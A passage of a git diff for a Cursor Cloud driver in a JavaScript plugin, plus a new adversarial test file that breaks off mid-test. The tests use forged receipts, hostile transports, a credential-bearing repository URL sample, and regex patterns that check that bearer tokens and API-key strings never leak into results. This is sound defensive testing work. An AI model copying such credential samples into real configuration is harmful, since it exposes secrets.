capturedTest(DETAIL_CODE_PATTERN, error.code) - ? error.code : 'transport_unavailable', + detail_code: 'transport_unavailable', detail_message: boundedDiagnosticMessage('transport_unavailable', 'Cursor Cloud create failed before intent; no prompt was dispatched.'), }); @@ -939,55 +1154,57 @@ function runLaunch(store, request) { ...transportIdentityRequest(identity, { agent_id: agentId, request_id: requestId, + repository_identity: repositoryIdentity, auto_create_pr: false, }), envelope_text: view.request.envelope_text, }); - const ack = callTransport(store, 'send', sendRequest); - assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); - if (optOwn(ack, 'acknowledged') !== true) { - return markUncertain(store, identity, { - agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + const ack = invokeTransport(store, 'send', sendRequest); + return inspectProviderReceipt('send', () => { + assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } + const ackRepo = assertReceiptIdentity( + ack, identity, 'transport.send.result', repositoryIdentity, + ); + const ackAgent = assertPatternedId( + optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', + ); + if (ackAgent !== agentId) { + fail('stale_identity_denied', 'transport.send.result.agent_id', + 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.send.result.request_id', + 'Send acknowledgement request_id must match the exact dispatch attempt.'); + } + const providerRunId = assertPatternedId( + optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, + 'transport.send.result.provider_run_id', 'provider_run_id', + ); + const branch = assertPatternedId( + optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', + ); + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + agent_id: ackAgent, + provider_run_id: providerRunId, + request_id: ackRequestId, + branch, + repository_identity: ackRepo, + created: true, + dispatch_intent: true, + acknowledged: true, }); - } - assertReceiptIdentity(ack, identity, 'transport.send.result'); - const ackAgent = assertPatternedId( - optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', - ); - if (ackAgent !== agentId) { - fail('stale_identity_denied', 'transport.send.result.agent_id', - 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); - } - const ackRequestId = assertPatternedId( - optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', - ); - if (ackRequestId !== requestId) { - fail('stale_identity_denied', 'transport.send.result.request_id', - 'Send acknowledgement request_id must match the exact dispatch attempt.'); - } - const providerRunId = assertPatternedId( - optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, - 'transport.send.result.provider_run_id', 'provider_run_id', - ); - const branch = assertPatternedId( - optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', - ); - const ackRepo = hasOwn(ack, 'repository_identity') - ? assertRepositoryIdentity(optOwn(ack, 'repository_identity'), 'transport.send.result.repository_identity') - : repositoryIdentity; - putLane(store, identity, { - state: 'dispatched', - model: identity.model, - agent_id: ackAgent, - provider_run_id: providerRunId, - request_id: ackRequestId, - branch, - repository_identity: ackRepo, - created: true, - dispatch_intent: true, - acknowledged: true, + return driverResult('launch', identity, 'dispatched'); }); - return driverResult('launch', identity, 'dispatched'); } catch (error) { void error; return markUncertain(store, identity, { @@ -997,15 +1214,20 @@ function runLaunch(store, request) { } function observeLane(store, identity, record, include) { - const extras = { include: [...include] }; - if (record.agent_id !== undefined) extras.agent_id = record.agent_id; - if (record.provider_run_id !== undefined) extras.provider_run_id = record.provider_run_id; - if (record.request_id !== undefined) extras.request_id = record.request_id; + const extras = { + include: [...include], + agent_id: record.agent_id, + provider_run_id: record.provider_run_id, + request_id: record.request_id, + branch: record.branch, + repository_identity: record.repository_identity, + }; const observeRequest = transportIdentityRequest(identity, extras); assertNoContentKeys(observeRequest, 'cursor_cloud_transport.observe.request'); - const receipt = callTransport(store, 'observe', observeRequest); + const receipt = invokeTransport(store, 'observe', observeRequest); + return inspectProviderReceipt('observe', () => { assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); - assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result', record.repository_identity); assertExactRunBinding(receipt, record, 'transport.observe.result'); const status = optOwn(receipt, 'status'); if (!capturedIncludes(CURSOR_CLOUD_OBSERVE_STATUSES, status)) { @@ -1013,22 +1235,17 @@ function observeLane(store, identity, record, include) { `transport.observe.result.status must be one of ${capturedJoin(CURSOR_CLOUD_OBSERVE_STATUSES, ', ')}.`); } if (hasOwn(receipt, 'elapsed_ms')) { - const elapsed = optOwn(receipt, 'elapsed_ms'); - if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_CURSOR_CLOUD_TIMING_MS) { - fail('invalid_format', 'transport.observe.result.elapsed_ms', - 'elapsed_ms must be a bounded millisecond timing.'); - } + assertBoundedCount( + optOwn(receipt, 'elapsed_ms'), 'transport.observe.result.elapsed_ms', MAX_CURSOR_CLOUD_TIMING_MS, + ); } if (hasOwn(receipt, 'event_count')) { - const count = optOwn(receipt, 'event_count'); - if (!Number.isSafeInteger(count) || count < 0 || count > MAX_CURSOR_CLOUD_EVENT_COUNT) { - fail('invalid_format', 'transport.observe.result.event_count', - 'event_count must be a bounded integer count.'); - } + assertBoundedCount( + optOwn(receipt, 'event_count'), 'transport.observe.result.event_count', MAX_CURSOR_CLOUD_EVENT_COUNT, + ); } if (hasOwn(receipt, 'cursor')) { - assertPatternedId(optOwn(receipt, 'cursor'), CURSOR_CLOUD_CURSOR_PATTERN, - 'transport.observe.result.cursor', 'event cursor'); + assertCursorToken(optOwn(receipt, 'cursor'), 'transport.observe.result.cursor'); } const git = projectGitEvidence(receipt, identity, 'transport.observe.result'); const events = capturedIncludes(include, 'detailed_events') @@ -1051,7 +1268,8 @@ function observeLane(store, identity, record, include) { agent_id: optOwn(receipt, 'agent_id'), provider_run_id: optOwn(receipt, 'provider_run_id'), request_id: optOwn(receipt, 'request_id'), - branch: hasOwn(receipt, 'branch') ? optOwn(receipt, 'branch') : record.branch, + branch: optOwn(receipt, 'branch'), + }); }); } @@ -1082,28 +1300,33 @@ function runReconcile(store, request) { const latched = hasTerminalLatch(prior); if (view.intent === 'restart_reattach' && !latched) { - if (prior.agent_id === undefined || prior.request_id === undefined) { - fail('stale_identity_denied', 'driver.reconcile.request.intent', - 'restart_reattach requires the exact recorded agent and request identity and never relaunches.'); + if (!hasExactRecordedRunIdentity(prior)) { + putLane(store, identity, { ...prior, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); } const reattachRequest = transportIdentityRequest(identity, { agent_id: prior.agent_id, provider_run_id: prior.provider_run_id, request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, }); assertNoContentKeys(reattachRequest, 'cursor_cloud_transport.reattach.request'); - const reattached = callTransport(store, 'reattach', reattachRequest); - assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); - if (optOwn(reattached, 'reattached') !== true) { - fail('stale_identity_denied', 'transport.reattach.result.reattached', - 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); - } - assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); - assertExactRunBinding(reattached, prior, 'transport.reattach.result'); - const agentId = assertPatternedId( - optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.reattach.result.agent_id', 'agent_id', - ); - putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + const reattached = invokeTransport(store, 'reattach', reattachRequest); + inspectProviderReceipt('reattach', () => { + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result', prior.repository_identity); + assertExactRunBinding(reattached, prior, 'transport.reattach.result'); + const agentId = assertPatternedId( + optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.reattach.result.agent_id', 'agent_id', + ); + putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + }); } if (latched) { @@ -1115,7 +1338,13 @@ function runReconcile(store, request) { return latchedTerminalResult('reconcile', identity, prior); } - const observed = observeLane(store, identity, getLane(store, identity), include); + const currentBeforeObserve = getLane(store, identity); + if (!hasExactRecordedRunIdentity(currentBeforeObserve)) { + putLane(store, identity, { ...currentBeforeObserve, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); + } + + const observed = observeLane(store, identity, currentBeforeObserve, include); const current = getLane(store, identity); const disposition = current.state === 'dispatch_uncertain' && observed.status === 'lost' ? 'dispatch_uncertain' @@ -1138,6 +1367,7 @@ function runReconcile(store, request) { 'same-session reply is unsupported; the question remains unresolved evidence'), }) : undefined; + const priorTruncated = current.evidence !== undefined && current.evidence.evidence_truncated === true; putLane(store, identity, { ...current, state: nextState, @@ -1155,7 +1385,9 @@ function runReconcile(store, request) { progress: observed.progress ?? null, attention: observed.attention ?? null, status: observed.status, - evidence_truncated: false, + evidence_truncated: evidenceTruncatedFlag( + observed.events, observed.progress, observed.status, priorTruncated, + ), }), last_status: observed.status, agent_id: observed.agent_id ?? current.agent_id, @@ -1197,19 +1429,22 @@ function runCancel(store, request) { detail_message: boundedDiagnosticMessage('already_terminal', 'outcome=already_terminal'), }); } - if (prior.agent_id === undefined) { + if (!hasExactRecordedRunIdentity(prior)) { fail('stale_identity_denied', 'driver.cancel.request', - 'Cursor Cloud cancellation requires the exact recorded agent identity; refusing to cancel an arbitrary run.'); + 'Cursor Cloud cancellation requires the exact recorded agent, run, request, and branch identity; refusing to cancel an arbitrary run.'); } const cancelRequest = transportIdentityRequest(identity, { agent_id: prior.agent_id, provider_run_id: prior.provider_run_id, request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, }); assertNoContentKeys(cancelRequest, 'cursor_cloud_transport.cancel.request'); - const receipt = callTransport(store, 'cancel', cancelRequest); + const receipt = invokeTransport(store, 'cancel', cancelRequest); + return inspectProviderReceipt('cancel', () => { assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); - assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result', prior.repository_identity); assertExactRunBinding(receipt, prior, 'transport.cancel.result'); const outcome = optOwn(receipt, 'outcome'); if (!capturedIncludes(CURSOR_CLOUD_CANCEL_OUTCOMES, outcome)) { @@ -1246,6 +1481,7 @@ function runCancel(store, request) { detail_code: outcome === 'already_terminal' ? 'already_terminal' : archiveCode, detail_message: boundedDiagnosticMessage(archiveCode, `outcome=${outcome} archived=${archived}`), }); + }); } export function createCursorCloudDriverV1(transport) { @@ -1268,19 +1504,19 @@ export function createCursorCloudDriverV1(transport) { }; const driver = capturedCreate(null); capturedDefineProperty(driver, 'preflight', { - value: (request) => runPreflight(store, request), + value: (request) => guardLifecycle('preflight', () => runPreflight(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'launch', { - value: (request) => runLaunch(store, request), + value: (request) => guardLifecycle('launch', () => runLaunch(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'reconcile', { - value: (request) => runReconcile(store, request), + value: (request) => guardLifecycle('reconcile', () => runReconcile(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'cancel', { - value: (request) => runCancel(store, request), + value: (request) => guardLifecycle('cancel', () => runCancel(store, request)), enumerable: true, configurable: false, writable: false, }); OBJECT_FREEZE(driver); @@ -1369,6 +1605,7 @@ export function describeCursorCloudDriverV1() { event_bytes: MAX_CURSOR_CLOUD_EVENT_BYTES, event_count: MAX_CURSOR_CLOUD_EVENT_COUNT, timing_ms: MAX_CURSOR_CLOUD_TIMING_MS, + cursor_bytes: MAX_CURSOR_CLOUD_CURSOR_BYTES, cursor_pattern: CURSOR_CLOUD_CURSOR_PATTERN.source, }), identities: capturedFreeze([ diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs index a19786f..4853e23 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs @@ -199,6 +199,7 @@ export function createScriptedCursorCloudTransportV1(script = {}) { agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFromRequest(request), starting_sha: request.starting_sha, repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs new file mode 100644 index 0000000..b71508e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs @@ -0,0 +1,959 @@ +// Adversarial tests for the P21 Cursor Cloud SDK adapter: hostile direct-JS +// transports, forged receipts, merge/PR/push/replay keys, secret and prompt +// leaks, and post-intent replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function errorOf(fn) { + try { + fn(); + } catch (error) { + return error; + } + throw new Error('expected a typed contract error'); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedCursorCloudTransportV1(script); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => assertCursorCloudTransportV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedCursorCloudTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertCursorCloudTransportV1(proxy)).code, 'proxy_denied'); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedCursorCloudTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertCursorCloudTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), create: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertCursorCloudTransportV1(Object.assign(new TransportClass(), createScriptedCursorCloudTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertCursorCloudTransportV1(accessor), 'invalid_object'); + const symbolTransport = { ...createScriptedCursorCloudTransportV1() }; + symbolTransport[Symbol('hidden')] = () => ({}); + expectCode(() => assertCursorCloudTransportV1(symbolTransport), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('merge, create-PR, push, and replay keys stay forbidden on the driver request', () => { + for (const [key, value, code] of [ + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1({ ...requestFor('launch'), [key]: value }), + code, + `${key} must fail closed`, + ); + } +}); + +test('malformed create receipts after the SDK call are uncertain, not dispatched', () => { + const { driver, transport } = launchBound({ + create: [{ created: true, agent_id: '!!!', ...identityFields() }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 0); +}); + +test('forged send acknowledgements never become dispatched', () => { + const { driver } = launchBound({ + send: [{ + acknowledged: true, + agent_id: 'bc-forged', + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('observe PR URLs, prompt fields, and extra keys fail closed', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + pr_url: 'https://github.com/example/codex-co-engineer/pull/1', + })], + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'unknown_key'); +}); + +test('credential-bearing repository URLs fail closed before create', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: 'https://user:token@github.com/example/codex-co-engineer.git', + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_format'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0); +}); + +test('prompt and secret markers never reach driver results or evidence', () => { + const { driver, transport } = launchBound(); + driver.launch(requestFor('launch')); + const launched = driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const blob = `${JSON.stringify(launched)}\n${JSON.stringify(evidence)}\n${JSON.stringify(cursorCloudCallsOf(transport, 'observe')[0])}`; + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(launched), /sk-|Bearer |api_key/iu); + void blob; +}); + +test('event pages reject hostile records and over-bound arrays', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'prompt', bytes: 12 }], + })], + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); + + const oversized = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: Array.from({ length: 33 }, () => ({ kind: 'status', bytes: 1 })), + })], + }); + oversized.driver.launch(requestFor('launch')); + expectCode( + () => oversized.driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); +}); + +test('inspect rejects proxy queries without running traps', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const query = countingProxy({ + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(errorOf(() => inspectCursorCloudLaneEvidenceV1(driver, query.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(query.counts), 0); +}); + +test('blocked preflight details never copy transport-authored text', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: false, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'workspace_dirty', + detail_message: `dirty because ${LEAK_MARKER} and Bearer sk-live`, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.doesNotMatch(blocked.detail_message, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blocked.detail_message, /Bearer|sk-live/u); +}); + +test('createCursorCloudDriverV1 rejects a proxy transport without constructing lanes', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => createCursorCloudDriverV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); +}); + +function readyPreflightReceipt(overrides = {}) { + return { + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + ...overrides, + }; +} + +function publicErrorBlob(error) { + let json = ''; + try { + json = JSON.stringify(error); + } catch { + json = ''; + } + return [ + error?.name, error?.code, error?.path, error?.message, error?.stack, + error?.cause, error?.detail, error?.details, error?.errno, error?.syscall, + error === undefined || error === null ? '' : String(error), + json, + ].map((value) => (value === undefined || value === null ? '' : String(value))).join('\n'); +} + +function assertClosedPublicError(error) { + assert.ok(error instanceof RunContractV1Error); + const blob = publicErrorBlob(error); + assert.doesNotMatch(blob, /Bearer/u); + assert.doesNotMatch(blob, /sk-live/u); + assert.doesNotMatch(blob, /Authorization/u); + assert.doesNotMatch(blob, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blob, /api[_-]?key/iu); + assert.doesNotMatch(blob, /envelope_text/u); + assert.equal(error.cause, undefined); + assert.equal(error.detail, undefined); + assert.equal(error.details, undefined); + assert.equal(error.name, 'RunContractV1Error'); +} + +test('blocker 1: preflight safety booleans missing true or nonboolean fail closed', () => { + const cases = [ + [{}, 'credential_bearing', undefined], + [{ credential_bearing: 'false' }, 'credential_bearing', 'false'], + [{ credential_bearing: 0 }, 'credential_bearing', 0], + [{ credential_bearing: true }, 'credential_bearing', true], + [{}, 'duplicate_identities', undefined], + [{ duplicate_identities: 'no' }, 'duplicate_identities', 'no'], + [{ auto_create_pr: 'false' }, 'auto_create_pr', 'false'], + [{ auto_create_pr: true }, 'auto_create_pr', true], + ]; + for (const [override, key, value] of cases) { + const receipt = readyPreflightReceipt(override); + if (value === undefined) delete receipt[key]; + const transport = createScriptedCursorCloudTransportV1({ preflight: [receipt] }); + const driver = bindCursorCloudDriverV1(transport); + assert.throws( + () => driver.preflight(requestFor('preflight')), + (error) => error instanceof RunContractV1Error, + `${key}=${String(value)} must fail closed`, + ); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, `${key} must not dispatch`); + } +}); + +test('blocker 2: repository identity and starting sha bind across every lifecycle receipt', () => { + const missingShaCreate = launchBound({ + create: [(request) => { + const receipt = { + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const missingShaLaunch = missingShaCreate.driver.launch(requestFor('launch')); + assert.notEqual(missingShaLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(missingShaCreate.transport, 'send').length, 0); + + const driftedRepo = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + repository_identity: 'github.com/other/drifted-cloud', + })], + }); + const driftedLaunch = driftedRepo.driver.launch(requestFor('launch')); + assert.notEqual(driftedLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(driftedRepo.transport, 'send').length, 0); + + const missingShaSend = launchBound({ + send: [(request) => { + const receipt = { + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const sendMissing = missingShaSend.driver.launch(requestFor('launch')); + assert.notEqual(sendMissing.disposition, 'dispatched'); + + const { driver, transport } = launchBound({ + observe: [(request) => { + const receipt = { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + }; + delete receipt.starting_sha; + return receipt; + }], + }); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git, null); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); +}); + +test('blocker 3: observe reattach and cancel require exact recorded run identities including branch', () => { + const omitRun = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitRun.driver.launch(requestFor('launch')); + expectCode(() => omitRun.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitBranch = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitBranch.driver.launch(requestFor('launch')); + expectCode(() => omitBranch.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitRequestCancel = launchBound({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + ...identityFields(), + })], + }); + 